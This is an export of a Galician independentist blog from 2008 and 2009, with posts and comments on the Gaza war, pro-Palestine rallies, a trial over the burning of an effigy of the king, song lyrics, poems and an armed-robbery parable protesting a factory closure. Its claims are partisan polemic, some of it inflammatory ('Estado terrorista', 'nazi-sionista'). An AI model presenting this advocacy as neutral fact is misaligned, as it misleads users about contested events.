As imagens que hoje publico, som todas elas História. Mesmo que fosem falsas, mesmo que fosem montagens, ou estivesem trucada, ou nom fosem do tempo que pensamos que som, mesmo assim, som História: porque reconhecemos como verdade o que nos contam, sabemos que som verdade. Fam-nos ver a História, essa que é tam fácil de repetir. É por isso que nom devemos esquecé-las. Nom devemos esquecer a História. Já sabemos que nom esquecé-la nom é suficiente para nom repeti-la: é o que nos tem ensinado o Estado terrorista de Israel em todas estas semanas. Mas esquecé-la, esquecer o que tem sucedido em Gaza, o que ainda está sucedendo, o que leva tantas décadas sucedendo na Palestina, convertirá-nos em indign@s de chamar-nos pessoas. Há culpáveis, há responsáveis, há colaboradores, há quem deixou fazer, quem permitiu, quem mirou para outro lado. E practicamente em todas as nossas vilas e aldeias, nas nossas cidades podemos atopá-los: todos os políticos que nom tenhem levantado a voz contra essa barbárie, contra o genocídio, contra o massacre cometido em Gaza. Os que ainda siguem a chamar a Israel de Estado democrático, e tratando às suas autoridades, ás suas instituiçons, ao seu exército, como democráticas, responsáveis e amigas. O PP e o PSOE, agora e antes, com Felipe, com Aznar e com Zapatero, tenhem colaborado com o massacre: tenhem negociado com Israel; permitirom, desculparom, procurarom motivos para o genocido; venderom e siguem a vender armamento; tratarom e siguem a tratar às organizaçons palestinas como terroristas e ao exército sionista como respeitável.
Há quem necessita que feitos como estes, que imagens como estas, se produzam perto para reagir, para comocionar-se. Perto geográficamente, mas nom só. A mim a distáncia ainda me resulta mais impresionante. Quêm tranquilizou a esse rapaz, a qualquer dos dous? Quêm lhe deu um beijo e lhe dijo que nom se passava nada, que já passara todo, que nom tinha que ter medo? Quêm? Nom podemos esquecer. Nom devemos esquecer.
----- COMMENT: AUTHOR: igor [Membro] DATE: Tue, 27 Jan 2009 16:12:25 +0000 URL:Obrigado.
----- COMMENT: AUTHOR: Alfredo Ferreiro [Visitante] DATE: Mon, 26 Jan 2009 11:51:45 +0000 URL: http://olevantadordeminas.blogaliza.orgVenho de participar na iniciativa Prémio DARDOS outorgando o mesmo a este blogue. Parabéns!
----- -------- AUTHOR: Lugris TITLE: Occupation 101. Vozes da maioria silenciada BASENAME: occupation-101-vozes-da-maioria-silencia DATE: Wed, 21 Jan 2009 06:07:56 +0000 STATUS: publish PRIMARY CATEGORY: Filmes CATEGORY: Gz é bem pequena CATEGORY: Stop hipocrisia! TAGS: ----- BODY:O que se segue é um documentário de 1 hora e 28 minutos de duraçom, premiado e reconhecido por numerosos certames internacionais de cinema, dirigido por Sufyan Omeish e Abdallah Omeish.
Narrado por Alison Weir, fundadora do If Americans Knew, o filme discute os eventos a partir do surgimento do movimento Sionista até a segunda Intifada, a limpeza étnica da Palestina, as relações entre Israel e Estados Unidos e as violações dos direitos humanos e abusos cometidos por colonos e soldados israelenses contra os Palestinos.
É um valioso documento para se informar sobre a natureza do expansionismo sionista, a partir do testemunho de numerosas pessoas que tenhem vivido o conflito em primeira pessoa. A nom perder. Versom original legendada na variante brasileira da nossa língua.
----- -------- AUTHOR: Lugris TITLE: We don't need thought control BASENAME: we-don-t-need-thought-control DATE: Tue, 20 Jan 2009 16:16:19 +0000 STATUS: publish PRIMARY CATEGORY: Geral CATEGORY: Músicas CATEGORY: B.S.O. da memória CATEGORY: Aqueles maravilhosos anos TAGS: ----- BODY:Living easy, living free: no stop signs, speed limit. We don't need no education, I felt a little like a dying clown. Who the fuck are you?
We dont need no thought control. Don't need reason, don't need rhyme, I remember throwin' punches around.
And preachin' from my chair: Hey! Teachers! Leave them kids alone!
[youtube]M_bvT-DGcWw[/youtube]
[youtube]aQIxn7s3ym8[/youtube]
[youtube]JgQqnzdVqJk[/youtube]
"Wrong, Do it again!" Asking nothing, leave me be.
All in all you're just another brick in the wall. I'm on my way to the promised land, my heart is like a broken cup. I only feel right on my knees.
"Wrong, Do it again!". Hey Momma, look at me: my friends are gonna be there too season ticket on a one-way ride.
How can I measure up to anyone now, after such a love as this. Season ticket on a one-way ride.
This is the end, my friend...And I Feel Fine!!! The End.
Oh yeah, all right. Dance me to the end of love. It's the end of the world as we know it.
Are you going to be in my dreams tonight? This is the end, my friend. Go if you want to. I never try to stop. You know theres a reason.
No safety or surprise, the end. Waiting for the summer rain. This is the end...
[youtube]QHFK1yKfiGo[/youtube]
[youtube]cGqroT1FZ5Y[/youtube]
[youtube]FSO7MGgeayc[/youtube]
[youtube]oCjQN7mQAzI[/youtube]
[youtube]coKGNwR8_4k[/youtube]
This is the end, beautiful friend. It's far too hard to make you see in a moment . Stay if you want to. This is the end, my only friend. Tell me with the rapture and the reverent in the right.
Is equal to the love you make. Show me slowly what I only know the limits of.
The end of our elaborate plans, touch me with your naked hand, touch me with your glove. It's not that hard to hide you see in a moment, I cant remember how to be all you wanted. The end of everything that stands. Desperately in need of some stranger's hand in a desperate land, and I feel fine.
Look at that low plane! Dance me to the children who are asking to be born: All the children are insane. It's the end of the world as we know it.
It hurts to set you free but you'll never follow me. I always wait to hear you say there's a last kiss. Maybe we didn't understand, it's just the end of the world...
The end of laughter and soft lies, the end of nights we tried to die. This is the end. My friend.
Nom.
Nom por agora.
Porém…
Digo eu… espero que não haja segundas (ou terceiras) intenções neste artigo!
----- COMMENT: AUTHOR: Mario [Visitante] DATE: Mon, 19 Jan 2009 20:28:26 +0000 URL: http://oportodosescravos.blogspot.comIsto non irá con segundas, non? Que eu quero seguir avistando ovnis.
----- -------- AUTHOR: Lugris TITLE: Este Domingo, tod@s por Palestina! BASENAME: este-domingo-tod-s-por-palestina DATE: Fri, 16 Jan 2009 22:22:49 +0000 STATUS: publish PRIMARY CATEGORY: Stop hipocrisia! CATEGORY: Cousas por aí CATEGORY: Gz é bem pequena CATEGORY: Músicas TAGS: ----- BODY:O Domingo, às 12:00h., na Alameda de Compostela, MANIFESTAÇOM NACIONAL contra o massacre sionista, polo fim das agressons militares à populaçom palestiniana, pola liberdade do povo palestiniano. Contra Israel.
Aqui deixo o vídeo de urgência que já está girando pola rede, realizado polo músico basco Fermim Muguruza, o grupo palestiniano Dam, a castelhana Minsa, de Desechos, o parisino Guive, e Al Rumjen, membro de Asian Dub Foundation: Itzuliko naiz
[youtube]APSbW92QjSM[/youtube]
----- -------- AUTHOR: Lugris TITLE: Autobombo de Lugros (Tomamos um vinho este sábado ou predicamos no deserto?) BASENAME: autobombo-de-lugros DATE: Fri, 16 Jan 2009 07:00:24 +0000 STATUS: publish PRIMARY CATEGORY: Para Ver Ler CATEGORY: Cousas por cá CATEGORY: Gz é bem pequena TAGS: ----- BODY:Hoje, o Diário de Leom, lembra-nos que Lugros, esse poeta, vai estar manham em Cabanas Raras, dando um recital.
Já sabedes que a entrada é de balde.
Estades convidadas/os.
(Ao remate, tomaremos um vinho).
A imagem, aqui.
----- -------- AUTHOR: Lugris TITLE: Duas de música BASENAME: duas-de-musica DATE: Wed, 14 Jan 2009 16:04:37 +0000 STATUS: publish PRIMARY CATEGORY: Músicas CATEGORY: TAGS: ----- BODY:Duas de música. Umha entrada dupla.
Via O Levantador de minas, esta verdadeira marabilha. Umha versom internacional, do "Stand by me", de Ben E. King.
[youtube]Us-TVg40ExM[/youtube]
E via Fanny e Alexander, "Setecentos", o single e o vídeo de adianto do seu novo trabalho, Alfaias, com letra de Mário Regueira.
[youtube]h05VD_D7Vic[/youtube]
Addenda: ainda umha cousa mais de música. Ou assim. Faisbuc es una mierda. Visitai o de Ataque Escampe. Na minha opiniom, quando o Dia das Letras esteja bem pensado, deveriam de dedicar-lhe um ano a estes.
Stand by me
When the night has come
And the land is dark
And the moon is the only light we see
No I won't be afraid
No I won't be afraid
Just as long as you stand, stand by me
CHORUS:
So darling, darling stand by me
Oh, stand by me, oh, stand
Stand by me, stand by me
If the sky that we look upon
Should tumble and fall
Or the mountains should crumble to the sea
I won't cry, I won't cry
No I won't shed a tear
Just as long as you stand, stand by me
CHORUS
Whenever you're in trouble
won't you stand by me
Oh, now, now, stand by me
Oh, stand by me, stand by me, stand by me
CHORUS
Setecentos
Prefiro maio cos paxaros mortos, sen flores nen luz.
No bosque dos nosos brazos só cabe a fauna das alimañas,
a escuridade na que se devoran os corpos, o acobillo
que procuran os partisanos cando volven da sabotaxe.
Teño setecentas espoletas na pel,
Hai setecentos arquexos ecoando na estancia, levo setecentos anos
Teño setecentos debuxos rabuñados na bandeira da miña pel
Teño setecentas fillas da vosa raiba, levo setecentos anos
enredado nos vosos brazos.
Quero a mesma tarde onde nos dixeron que nada permanece,
repasar sílaba a sílaba cada cántico da derrota, o xabón
co que a túa nai quería lavarnos a honra para sempre,
o ecoar máxico das caixas do peito resoando ao unísono.
Porque eu só existo nas formas que tallades coas maos,
nas fendas de luz, na tensión animal dos maios apócrifos,
na colección de poutas, cairos e caldeiros de bruxa,
nas marcas que levamos e son constante amor e talismán.
A casa real da Mongólia
a totalidade da casa real da Mongólia
foi passada à facada
muitos anos antes de fundarmos Mongólia
e anos
muitos anos depois
de alguém descobrir
o primeiro caminho que levava a Mongólia
ou a algum lugar parecido
E de que esse alguém fosse decapitado
queimado assassinado envenenado desaparecido
Mas essa foi a mesma pessoa que
quarenta geraçons antes ou quarenta geraçons depois
passou à facada à casa real da Mongólia
À totalidade da casa real da Mongólia
E com cada facada fundava-se
fundou-se
fundavam
fundamos Mongólia
Um poema de "Mongólia. Umha entidade estatal rugosóide", hoje para Santi e Alexandre.
Julgamento de Santi e Alexandre, no dia 4 de Fevereiro, na Audiência Nacional: NÓS-Unidade Popular vai levar-lhes a solidariedade galega, democrata e republicana
Finalmente, os dous independentistas acusados pola Audiência Nacional de ?menosprezar e vilipendiar a figura de SM o Rei? pola queima de um boneco que representava o monarca espanhol no dia 6 de Dezembro de 2007, numha manifestaçom autodeterminista, vam ser julgados polo juiz Vázquez Honrubia no dia 4 de Fevereiro às 10.30h na Sala Central do Penal desse tribunal de excepçom espanhol.
Há que lembrar que já se produziu, há agora um ano, umha primeira comparência de quatro militantes independentistas pola mesma causa, ficando dous posteriormente livres de cargos. Há que lembrar também episódios significativos do processo, como a carta emitida polo juiz instrutor, Grande-Marlaska, referindo-se à nossa língua como ?dialecto gallego?, rectificando posteriormente após a denúncia pública realizada por NÓS-Unidade Popular. Há que lembrar ainda o embargo imposto sobre a vivenda de Santiago Mendes, de maneira preventiva, como se de um delinqüente fiscal ou financeiro se tratasse.
Em definitivo, há que lembrar que estamos perante um julgamento dirigido contra as ideias republicanas e independentistas dos companheiros Santi e Alexandre, por terem supostamente participado na queima de um boneco que simbolizava umha instituiçom fortemente contestada por sectores importantes do nosso povo. Umha instituiçom que nega a soberania nacional galega e constitui um obstáculo para a democratizaçom do Estado espanhol, verdadeira prisom de povos.
O processo contra Alexandre e Santi, que enfrentam duras multas (5.400 euros a 3.600 euros, respectivamente), confirma que o direito de livre expressom e pensamento está gravemente limitado polo Estado herdeiro do franquismo, daí que seja fundamental responder aos ataques repressivos contra esses direitos fundamentais.
Com esse objectivo, NÓS-Unidade Popular vai organizar umha viagem a Madrid, para que os galegos e as galegas nos solidarizemos com estes dous compatriotas, concentrando-nos frente à Audiência Nacional e assistindo à vista oral contra eles.
Do norte e do sul da Galiza partirám autocarros que se dirigirám a Madrid no dia 4, e umha representaçom da Direcçom da nossa Direcçom Nacional acompanhará os dous companheiros, transmitindo assim a clara mensagem de que as ideias antimonárquicas, republicanas e independentistas fam parte do património da esquerda social galega, e nom vamos renunciar a praticá-las.
Convocamos o nosso povo trabalhador a manifestar a solidariedade com os dous companheiros, podendo contactar com o número 669778474 quem quiger viajar a Madrid em apoio a Santi e Alexandre.
Galiza, 13 de Janeiro de 2009
Direcçom Nacional de NÓS-Unidade Nacional
No 4 de Fevereiro, tod@s a Madrid!
Defendamos e exerçamos os nossos direitos!
Alex, Santi, solidariedade!
Adiante a República Galega!
----- -------- AUTHOR: Lugris TITLE: Parábola (Astrazeneca nom se pecha) BASENAME: parabola-astrazeneca-nom-se-pecha DATE: Mon, 12 Jan 2009 16:02:47 +0000 STATUS: publish PRIMARY CATEGORY: Gz é bem pequena CATEGORY: Cousas por aí CATEGORY: Escrever nom é mau CATEGORY: Estam tolos estes espanhois CATEGORY: Stop hipocrisia! CATEGORY: Eu também desenhar TAGS: ----- BODY:Entro na minha entidade bancária
Falo com a pessoa que está na caixa
Amavelmente
pergunto-lhe se é certo
isso que di a sua publicidade
?somos o teu banco?
Essa pessoa sorrí
e di-me que sim
que com certeza
que eles estám para me ajudar
para procurar soluçons aos meus problemas
e para fazer que a minha vida blablabla
Escuito
Deixo-lhe falar
Ao rematar
digo-lhe
correctamente
que estou muito contento com os seus serviços
que nom tenho nengumha queixa
e que agradezo os presentes com os que
algumhas poucas vezes
me agasalham
a saber canetas
lanternas
guardachuvas
ou calendários
Que livremente aceitei as suas regras
as suas condiçons
as suas formas e os seus métodos
Mas que tem que compreender
ela tem que compreender
que num sistema de livre
libérrimo
mercado
eu devo
proteger os meus interesses
defender o meu dinheiro
asegurar o meu futuro
e que é por isso
e só por isso
que quero retirar todo o dinheiro
Todo
insisto
com voz solene
E Todo
acrescento
significa Todo o dinheiro
que nesse momento há na entidade bancária
na minha entidade bancária
porque tenho que depositá-lo noutra entidade
num paraiso fiscal
que me oferece condiçons muito mais competitivas
flexíveis
e económicas
Mira-me surprendido e
ou
incrédulo
e suspeito que vai chamar ao guarda de seguridade
privada
que está na porta
Nom o faga
digo-lhe
É-lhe melhor nom fazê-lo
Explico-lhe que o ruido
o balbordo
a polémica
nom nos ajudarám a nengum dos dous
e som contrários aos nossos intereses
Tenho potentes argumentos
insisto
e mostro-lhe duas 9 mm.
Asusta-se
Explico-lhe novamente os meus motivos
e fago todo o possível porque entenda que é inevitável
que a decissom está tomada
que nom fai sentido ir contra a corrente dos feitos
e que obstinar-se no contrário
nom servirá para nada
que a mim também me custou aceitar essa realidade
mas que há causas
motivos
directrizes
que estám por riba de nós
e que nós nom podemos controlar
De todas as formas
argumento
se tenho que empregar métodos expeditivos
a responsabilidade será toda sua
Eu nom asumirei os custos que vostede queira acrescentar
remato
e aponto com a PT-99
A direcçom internacional de Astrazeneca, tem a intençom de fechar a sua factoria d'O Porrinho, e deixar a todos os trabalhadores e trabalhadoras na rua, mesmo depois de obter uns benefícios por riba do aguardado. A empresa quer desviar a fabricaçom dos seus produtos a paises com mao de obra mais barata, porém pretende seguir vendendo aqui os seus produtos.
Como Astrazeneca, há outras muitas empresas, dúzias delas, dirigidas por estafadores, ladróns, piratas, sinvergüenzas,... empresários capitalistas em fim, que aproveitando a situaçom económica actual querem trasladar as suas empresas a lugares onde, a custa da inexistência de direitos laborais, a produçom seja, para eles, mais rendível. Quer-se dizer, onde podam explorar muito mais e muito melhor aos e às trabalhadoras.
O nosso dever é a solidariedade com todas as trabalhadoras, com todos os trabalhadores. Como poetas, como escritores/as, como trabalhadores/as também que somos.
Ánimo companheiras/os. Astrazéneca nom se pecha!!!
A CRISE QUE A PAGUEM OS RICOS!!!
PD/ Obrigado, Diego, polos comentários (via co-e) e as correcçons linguístico-estilísticas.
----- COMMENT: AUTHOR: Subcomandante Marcos [Visitante] DATE: Mon, 12 Jan 2009 20:33:57 +0000 URL:chapeau. Non hai mellor comentario.
Saudos camarada.
----- -------- AUTHOR: Lugris TITLE: Uns dias em Cabanas Raras BASENAME: uns-dias-em-cabanas DATE: Sat, 10 Jan 2009 23:00:38 +0000 STATUS: publish PRIMARY CATEGORY: Para Ver Ler CATEGORY: Cousas por cá CATEGORY: Gz é bem pequena TAGS: ----- BODY:A expo "poesia para Ver/poesia para Ler", volta para casa. Estará uns dias na Casa da Cultura de Cabanas Raras, no Bierzo, antes de iniciar nova viagem, desta vez a Ferrol, onde estará no mês de Fevereiro (mas disso já falaremos nos próximos dias). O Sábado 17 faremos um recital, às 18.30h., na mesma Casa da Cultura. A expo estará ali até o dia 23 de Janeiro para quem a queira visitar.
----- -------- AUTHOR: Lugris TITLE: 10.545 BASENAME: 10-545 DATE: Fri, 09 Jan 2009 06:55:53 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por cá CATEGORY: TAGS: ----- BODY:Soma e sigue: 10.545. E nom parece que vaia parar.
É umha cifra, sim, mas nom umha cifra qualquer.Tras a cifra, 10.545, estám as pessoas. E 10.545 pessoas som muitas pessoas. Muitas pessoas no desemprego.
Porque 10.545 é o número de pessoas desempregadas no Bierzo, segum informam os meios. Em Dezembro, 683 pessoas mais engrossarom esta lista, a maior parte em Ponferrada (591), mas também em Bembibre (10), Fabeiro (+46) e Vilablino (+36). O 55,6% destas 10.545 som mulheres (5866), e o 44,4% homens (4.679). O sector serviços é onde mais medra o desemprego, seguido de indústria, construçom e agricultura.
Até onde imos chegar? Quê cifra consideram os sindicatos inaceitável? É que o desemprego pode seguir aumentado sem nengum tipo de resposta por parte dos e das trabalhadoras? Sem nengumha protesta nos centros de trabalho, nas ruas e praças das nossas vilas e cidades?
----- COMMENT: AUTHOR: Alarico [Visitante] DATE: Sat, 10 Jan 2009 00:25:27 +0000 URL:Que se pode agardar da U.G.T. se foi criada pola C.I.A. utilizando velhas siglas históricas para contrarestar a CC.OO., quando estas últimas repressentavam um movimento sindical e sócial com características revolucionarias, antes que o euro-comunismo, léase social-democratizaçom, do PC fize-se com o leme das mesmas. Ademais, hoje, as duas organizaçons só estám para evitar o avanço das classes trabalhadoras e para gestionar o conflicto socio-laboral no seu conjunto em funçom dos patrons.
----- -------- AUTHOR: Lugris TITLE: Com Palestina em Ponferrada BASENAME: com-palestina-em-ponferrada DATE: Thu, 08 Jan 2009 15:41:22 +0000 STATUS: publish PRIMARY CATEGORY: Stop hipocrisia! CATEGORY: Cousas por cá CATEGORY: Gz é bem pequena TAGS: ----- BODY:Diversas organizaçons do Bierzo, anunciam a convocatória dumha concentraçom em solidariedade com Palestina e de denuncia da massacre israelita. Será manham, sexta-feira, dia 9, às 20.30h., na Praça do Concelho em Ponferrada.
A Assembleia Comarcal de NÓS-Unidade Popular do Bierzo já anunciou a sua participaçom nesse acto.
Junto com NÓS-UP, tenhem anunciado a sua participaçom nessa concentraçom Izquierda Unida, CCOO, UGT e o Partido do Bierzo.
A continuaçom oferecemos o comunicado de NÓS-Unidade Popular na integra:
Ponferrada: NÓS-Unidade Popular participará no acto de solidariedade com Palestina e contra a massacre israelita
A Assembleia Comarcal do Bierzo da organización independentista galega NÓS-Unidade Popular, participará na concentraçom em solidariedade com Palestina e de denúncia da massacre israelita que se celebrará esta sexta-feira, a partir das 20.30h. na Praça do Concelho em Ponferrada.
A Assembleia Comarcal do Bierzo da organización independentista galega NÓS-Unidade Popular, participará na concentraçom em solidariedade com Palestina e de denúncia da massacre israelita que se celebrará esta sexta-feira, a partir das 20.30h. na Praça do Concelho em Ponferrada.
NÓS-Unidade Popular do Bierzo chama a participar neste acto a todos e todas as berzianas, para denunciar a criminal campanha sionista de assassinatos de centenas de palestinos e palestinas em Gaza ante o silêncio dos nossos governos e instituiçons, tanto europeias, como estatais, autonómicas, comarcais, provinciais ou locais.
Devemos exigir um pronunciamento claro e contundente das autoridades e instituiçons contra a agressom militar israelita na Faixa de Gaza, e a imedita rutura de relaçons diplomáticas, comerciais e militares com o Estado de Israel. Em caso contrário, o seu silêncio e passividade só poderám ser interpretados como cumplicidade com os crimes de guerra e a política genocida do Estado terrorista de Israel.
Via Zero Vacas, que parece que abre novamente as suas portas, chego a CCCP, e alí dou com este Pim Pam Pum, que me dirige ao lugar onde poder ver esta estupenda curta, de Andoni de Carlos Yarza e Asier Urbieta.
Eu gostei. A mim, que do cinema gosto pouco, ou menos, sempre me parece que nos filmes se vem muito as costuras: os lugares por onde se cose, ou se cola, um anaco de fita com outro, umha cena com outra, um diálogo com outro. Nesta curta, a verdade, decato-me de que também existem os filmes, ou as curtas, sem costuras. Com qualidade. E contando umha história juvenil perfeitamente contextualizada no mundo real.
----- -------- AUTHOR: Lugris TITLE: Doze regras infalíveis para a redacçom de novas sobre Oriente Próximo nos grandes meios de comunicaçom BASENAME: doze-regras-infaliveis-para-a-redaccom-d-1 DATE: Wed, 07 Jan 2009 07:25:50 +0000 STATUS: publish PRIMARY CATEGORY: Stop hipocrisia! CATEGORY: Gz é bem pequena TAGS: ----- BODY:1) Em Oriente Próximo som sempre os árabes quem atacam primeiro, e sempre é Israel quem se defende. Essa defesa chama-se ?represália?.
2) Nem árabes, nem palestinos nem libaneses têm direito a matar civis. A isso se lhe chama ?terrorismo?.
3) Israel tem direito a matar civis. Isso se chama ?legítima defessa?.
4) Quando Israel mata civis em massa, as potências ocidentais pedem que o faga com maior comedimento. Isso se chama ?reacçom da comunidade internacional?.
5) Nem palestinos nem libaneses têm direito a capturar soldados israelenses dentro de instalaçons militares com sentinelas e postos de combate. A isso há que o chamar ?sequestro de pessoas indefesas?.
6) Israel tem direito a sequestrar a qualquer hora e em qualquer lugar a quantos palestinos e libaneses que tenha por antolho. A sua cifra actual rodada os 10 mil, 300 dos quais som meninos e mil, mulheres. Nom se precisa prova alguma de culpabilidade. Israel tem direito a manter sequestrados presos indefinidamente, já sejam autoridades democraticamente eleitas polos palestinos. A isso se lhe chama ?encarceramento de terroristas?.
7) Quando se menciona a palavra ?Hezbollah?, é obrigatório acrescentar na mesma frase ?apoiados e financiados por Síria e por Irám.
8) Quando se menciona ?Israel?, está terminantemente proibido acrescentar: ?apoiados e financiados polos EEUU?. Isso poderia dar a impressom de que o conflito é desigual e de que a existência de Israel nom corre perigo.
9) Em informaçons sobre Israel, há que evitar sempre que apareçam as seguintes locuçons: ?Territórios ocupados?, ?Resoluçons da ONU?, ?Violaçons dos Direitos Humanos? e ?Convençom de Genebra?.
10) Os palestinos, o mesmo que os libaneses, som sempre ?covardes? que se escondem entre uma populaçom civil que ?nom os quer?. Se dormem em casa com suas famílias, isso tem um nome: ?covardia?. Israel tem direito a aniquilar com bombas e mísseis os bairros onde dormem. A isso se lhe chama ?acçom cirúrgica de alta precisom?.
11) Os israelenses falam melhor inglês, francês, castelhano ou português que os árabes. Por isso merecem ser entrevistados com maior frequência e ter mais oportunidades que os árabes para explicar ao grande público as presentes regras de redacçom (da 1 à 10). A isso se lhe chama ?neutralidade jornalística?.
12) Todas as pessoas que nom estám de acordo com as mencionadas Regras, som, e assim deve se fazer constar, ?terroristas anti-semitas de alta perigosidade?.
Aqui e aqui, via Kaos na Rede.
----- COMMENT: AUTHOR: l&m [Visitante] DATE: Thu, 08 Jan 2009 13:41:07 +0000 URL: http://www.oblodelm.blogspot.comainda te ham copiar os da onu…
beijos e feliz ano
Sabemos (as pessoas que queremos sabé-lo) desde há tempo que a revoluçom nom vai ser televisada. Mas o que sim vai ser televisada, youtubeada, myspace-ada e facebook-ada (se se me permite os neologismos), é a guerra do futuro. E a do presente.
O Governo de Israel, ao tempo que mantém a censura como ferramenta de guerra (táctica tam velha como a própria guerra), abre os seus espaços na rede (segundo podes ler aqui), criando umha canle em youtube e páginas em facebook e myspace, para repetir mil e mil vezes as suas mentiras e a sua propaganda, com a esperança de que assim se convirta em verdade. Informaçom? Nom, propaganda política. Pura e dura apologia da massacre.
Mas na rede também há respostas. Som muitas as páginas de informaçom, blogues, organizaçons, colectivos e meios que nestes dias falam de Gaza, de Palestina. Neles é possível procurar informaçom, para nom só escuitar o que o estado terrorista de Israel quer que escuitemos, para nom só ver o que o estado terrorista de Israel quer que vejamos. Para nom só ler o que o estado terrorista de Israel quer que leamos.
Podemos, devemos, participar nos actos de protesto que contra a massacre se convocam nas cidades e vilas do nosso país. Participar nelas. Promové-las. Promocioná-las. Publicitá-las.
E também podemos fazer algumha cousa das nossas webs, dos nossos blogues. Por exemplo, publicar este banner que colo aqui abaixo, e que publicita a boicote aos produtos fabricados em Israel.
Ou incluir a imagem que abre este comentário, de solidariedade com Gaza, de solidariedade com Palestina. Porque a solidariedade também está na internet. Porque o internacionalismo também se practica na rede. Porque a construçom dum outro mundo fai-se, fará-se com as aportaçons de todas e todos nós.
Cola este banner de solidariedade, e distribue-o entre os teus contactos. Fagamos ver também na rede a solidariedade da Galiza, do Povo Galego, com a Palestina, com o Povo Palestino.
----- -------- AUTHOR: Lugris TITLE: No 2009, Palestina livre!!! No 2009, Galiza livre!!! BASENAME: no-2009-palestina-livre-no-2009-galiza-l DATE: Wed, 31 Dec 2008 06:46:51 +0000 STATUS: publish PRIMARY CATEGORY: Stop hipocrisia! CATEGORY: Gz é bem pequena TAGS: ----- BODY:A praticamente obrigatoriedade de rematar o ano desejando feliz ano novo e falando sobre o melhor e o peor do ano velho, e sobre o que deparará o próximo, tem que passar este ano por Palestina.
A sociedade ocidental tem permitido tantas e tantas guerras, masacres, e ataques contra todos os direitos humanos, que já nom nos pode estranar que permita um mais. Os perto de 400 pessoas mortas e 1800 feridas na Faixa de Gaza nos últimos dias, nom nos pode permitir ficar na casa, tranquilamente.
Já recolhe Mario a famosa frase de Adorno de que nom era possível fazer poesia depois de Auschwitz. O que nom sabia Adorno, é que sim que era possível seguir o caminho de Auschwitz depois de Auschwitz. A poesia atopou o seu próprio caminho para seguir viva. A injustiça, a indignidade, o fascismo, o irracionalismo, também.
Recolho do Gara umhas declaraçons de Ismail Rawdan, dirigente político de Hamas, que declarou à agencia Palestinian Information Center (PIC) que «nom içaremos a bandeira branca», ao tempo que denunciou que Israel bombardeou mezquitas, universidades, instituiçons caritativas e civis, «o que é umha mostra do carácter horrível, racista, selvagem e terrorista da ocupaçom sionista».
Há que deter o extermínio!
Promovamos e apoiemos todas as convocatórias nas cidades e vilas galegas!
Saiamos às ruas em apoio e solidariedade ao irmao povo palestiniano!
Palestina Vencerá!
No 2009, Palestina livre!!!
No 2009, Galiza livre!!!
A imagem, aqui.
----- COMMENT: AUTHOR: Luiz Carlo Ubaldo Gonçalves [Visitante] DATE: Thu, 29 Nov 2012 11:15:29 +0000 URL:Viva o povo Palestino, chega de agressão a essa gente tão sofrida, Israel não pode continuar matando impunemente.
Fermoso debuxo do Che adaptado aos tempos que corren por Gaza.
Coméntame un amigo palestiniano que o pano popularmente coñecido como “palestina” e ao que se lle di en árabe (estándar) keffiyyah, en dialecto palestiniano é coñecido como Hatta.
Sexa como for, Gaza = dignidade.
Bo ano!
----- COMMENT: AUTHOR: José André Lôpez Gonçâlez [Visitante] DATE: Wed, 31 Dec 2008 08:52:02 +0000 URL:Para todos os leitores deste ovnis e isoglossas, uma traduçấo de um poema de um grande poeta palestino de começos do século XX, ele também expatriado, ele também morto lonje da sua amada terra de Tulkarém.
A traduçấo é a que se segue:
Abd al-Karim al-Karmi
(mais conhecido como Abu Salma)
Frente por frente da opressấo e a ignorância,
rebeldes somos sem repouso.
A luz somos do caminho,
a justiça e a fé,
somos fontes de luita,
guardiões do lar.
Ó Palestina, somos -bem o sabes-
construtores de civilizaçấo
encabalados nos séculos.
A nossa mensagem trazemos para os primeiros
e os últimos.
Com sangue livre purificamos a tua terra:
com tal oferenda, como nấo há ser pura?
Na nossa marcha os povos nos acompanham
para a alvorada gloriosa.
Um só mundo é a nossa insígnia
e uma eterna liberdade para os homens.
Traduçấo de José André Lôpez Gonçâlez
(E liberdade para a Palestina e liberdade para a Galiza no vindouro 2009)
Saude e Revoluçấo operária.
Perante tanta barbárie, tanta dor, tanta sem razão, tanta injustiça, tanto olhar para outro lado dos governos (e do nosso governinho junteiro da forças de ?esquerda? PSOE ? BNG, só nos resta a dignidade comunista e a ideia de que nós, os trabalhadores somos os únicos chamados para desfazer o opróbio, o desdouro, a ignomínia.
Mando para todos os leitores uma tradução de um poema do livro ?Diwan? de um grande poeta palestino para uma antologia de poesia palestina moderna que ainda não saiu a lume, em homenagem sentida por todas as vítimas da crueldade nazi-sionista
_______________________________________
Makhmud Sobh al-Kurdi
Cruz de todos os homens
Para minha mãe, Aixa.
«A tua cruz, ai!, Nazareno,
feridas de flauta dessangra.
A minha gorja é ouriço de alfinetes;
As minhas mãos, de lume chamas»
E prossego ainda, como Tu, vivindo.
Uma ponte de cravos atravessei
desde Belém, por te achar:
a tua morte é a minha morte;
o teu sangue, o meu sangue.
E prossego ainda, como Tu, vivindo.
Percorri o Calvário,
desde Belém, por te achar:
A tua morte é a minha morte;
O teu sangue, meu sangue é.
E ainda prossego, como Tu, vivindo.
Percorri o Calvário,
a tua paixão no meu corpo sofri.
E lá para onde o meu rosto volvo
mil Judas gritam: «Crucificai o árabe!».
E ainda prossego, como Tu, vivindo
O meu sol perseguido é por mil víboras
cuspindo ao ar
rajadas da peçonha.
E ainda prossego, como Tu, vivindo
No madeiro da morte
encontro-te cada dia.
E ainda prossego, como Tu, vivindo.
As feridas do teu corpo
?o meu corpo?
igual que galhos de tranças são
pingando lágrimas na face da tua mãe
?minha mãe?.
São como espigas de trigo
nas encostas de Galiléia.
Racimos de uvas são com sangue baptizados
sob os raios do sol do meio-dia.
Como se transitar o Calvário
desde a morte para a vida
um breve instante fosse,
ainda prossego, como Tu, vivindo.
Palestina é uma espada
espetada nas minhas entranhas
como doce levadura.
A tua cruz, a bainha é dessa espada
que um mar de sangue jorra,
purpúrea, vermelha.
E continuo ainda, como Tu, vivindo!
Palestina é uma oliveira entre dous mares:
Mar de morte e de açafrão,
mar de açucenas e flores de cerdeira.
Do seu sangue farei eu pão e vinho,
e azeite.
E armas, também.
Com a sua luz pegarei fogo
para atirar com violência o ouro todo dos ídolos.
Palestina renascerá da grande dor do parto.
Ó Palestina, dor de tantos povos,
Cruz de todos os homens.
Tradução de José André Lôpez Gonçâlez
(Avante com a luita anti-imperialista. Polo poder operário que bania o terror na terra)
Viva a Palestina livre socialista, Viva Galiza livre e socialista
Keffiyeh.
O que se autodenominava "Povo Mais Perseguido do Mundo", tem acedido, por méritos próprios, à perda desse título. O palestiniano é hoje o povo mais perseguido do mundo.
